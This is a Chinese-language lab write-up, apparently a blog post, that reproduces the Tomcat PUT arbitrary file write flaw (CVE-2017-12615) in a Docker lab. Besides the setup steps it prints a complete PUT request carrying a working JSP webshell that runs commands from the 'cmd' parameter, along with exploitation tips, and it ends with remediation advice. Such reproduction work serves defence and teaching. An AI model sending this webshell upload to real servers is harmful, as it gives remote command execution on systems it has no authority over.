漏洞复现-Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

漏洞复现-Tomcat PUT 方法任意写文件漏洞(CVE-2017-12615)详细步骤**

CVE-2017-12615 漏洞的核心问题在于 Tomcat 的默认配置或管理员的自定义配置存在安全隐患,具体表现为允许通过 HTTP 的 PUT 方法直接上传文件,且未对上传路径和内容进行充分验证。以下是关键配置问题的详细分析:

1. 漏洞利用条件

  1. 目标环境
    • Tomcat 版本在 7.0.0 - 7.0.81 之间。
    • 配置了 readonly=falseDefaultServlet(默认情况下,conf/web.xmlDefaultServletreadonly 属性为 true,但可能被管理员修改)。
    • 目标目录(如 /WEB-INF//)可写。
  2. 攻击者权限
    • 无需认证(如果目标未启用认证)。
    • 需知道目标 Web 应用的上下文路径(如 /, /examples 或 自定义的/myupload,)。 测试发现manager目录是无法成功PUT webshell的

2. 漏洞复现

环境搭建使用docker,vulhub

运行临时容器,为使用数据卷做准备

docker run -it --rm -p 8080:8080 --ulimit nofile=65535:65535 cve-2017-12615-tomcat:latest

在这里插入图片描述
进入容器,查找需要创建数据卷的目录
在这里插入图片描述

创建正式实验容器,使用数据卷

docker run --name mytomcat -v Mytomcat:/usr/local/tomcat -p 8080:8080 --ulimit nofile=65535:65535 -d 1ec3155d2f2a

docker会帮我们自动创建数据卷Mytomcat
查看数据卷列表

docker volume ls

查看数据卷Mytomcat的具体位置,和内容

docker volume inspect Mytomcat

cd /var/lib/docker/volumes/Mytomcat/_data 可看到容器内的内容,并进行同步修改
在这里插入图片描述
查看漏洞需要的配置
web.xml 允许 PUT 方法

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>  <!-- 允许写入 -->
    </init-param>
</servlet>

在这里插入图片描述

  • 构造 PUT 请求
    使用或 Burp Suite 发送 PUT 请求,上传 JSP WebShell。
PUT /8.jsp/ HTTP/1.1
Host: 192.168.253.138:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 301

shell
<%@ page import="java.util.*,java.io.*"%>
<%
  out.print("WebShell Running...");
  String cmd = request.getParameter("cmd");
  if (cmd != null) {
    out.print("<pre>" + new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next() + "</pre>");
  }
%>

注意,测试时先抓一个tomcat本身的包,再粘贴上面的请求,不然bp自动会转换http版本,就失败了
先刷新这个页面抓一下包、再粘贴PUT数据包

并且路径最后需要有/
成功上传 PUT /11.jsp/
失败 PUT /11.jsp
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
服务器看到webshell
在这里插入图片描述

examples目录可访问,也可以将webshell 2.jsp到该目录
在这里插入图片描述
在这里插入图片描述
服务器看到webshell
在这里插入图片描述
wireshark抓包流量情况
在这里插入图片描述
在这里插入图片描述
statistics->HTTP->Packet Counter
在这里插入图片描述

3. 漏洞修复建议

  1. 升级 Tomcat
    • 升级到 Tomcat 7.0.82 或更高版本。
  2. 修改 DefaultServlet 配置
    • conf/web.xml 中将 DefaultServletreadonly 属性设置为 true
      <servlet>
          <servlet-name>default</servlet-name>
          <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
          <init-param>
              <param-name>readonly</param-name>
              <param-value>true</param-value>  <!-- 确保为 true -->
          </init-param>
      </servlet>
      
  3. 限制 PUT/MOVE 方法
    • 在防火墙或 Web 应用防火墙(WAF)中限制对 PUT/MOVE 方法的访问。
  4. 禁用目录列表
    • 确保 listings 属性为 false
      <init-param>
          <param-name>listings</param-name>
          <param-value>false</param-value>
      </init-param>
      

若 listings=true,攻击者上传文件后,可通过目录列表查看文件是否存在,协助判断是否上传成功

4. 总结

  • 漏洞利用流程
    1. 确认目标版本和 readonly 配置。
    2. 通过 PUT 方法上传 JSP WebShell。
    3. 访问 WebShell 并执行命令。
  • 修复建议
    • 升级 Tomcat 或修改配置。
    • 限制 PUT/MOVE 方法访问。
  • 注意事项
    • 漏洞利用需目标配置允许 PUT 请求(readonly=false)。
    • 实际攻击中可能需结合其他漏洞(如信息泄露)获取目标信息。

通过以上步骤,可以完整复现 CVE-2017-12615 漏洞的利用过程,并采取相应措施进行修复。

补充
当 Tomcat 的 DefaultServlet 配置中 listings=true 时,若用户访问的目录下没有默认文件(如 index.html),Tomcat 会返回该目录下的所有文件列表。

listings为false时的效果

listings
false

在这里插入图片描述
在这里插入图片描述
listings为true时的效果

listings
true

在这里插入图片描述

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值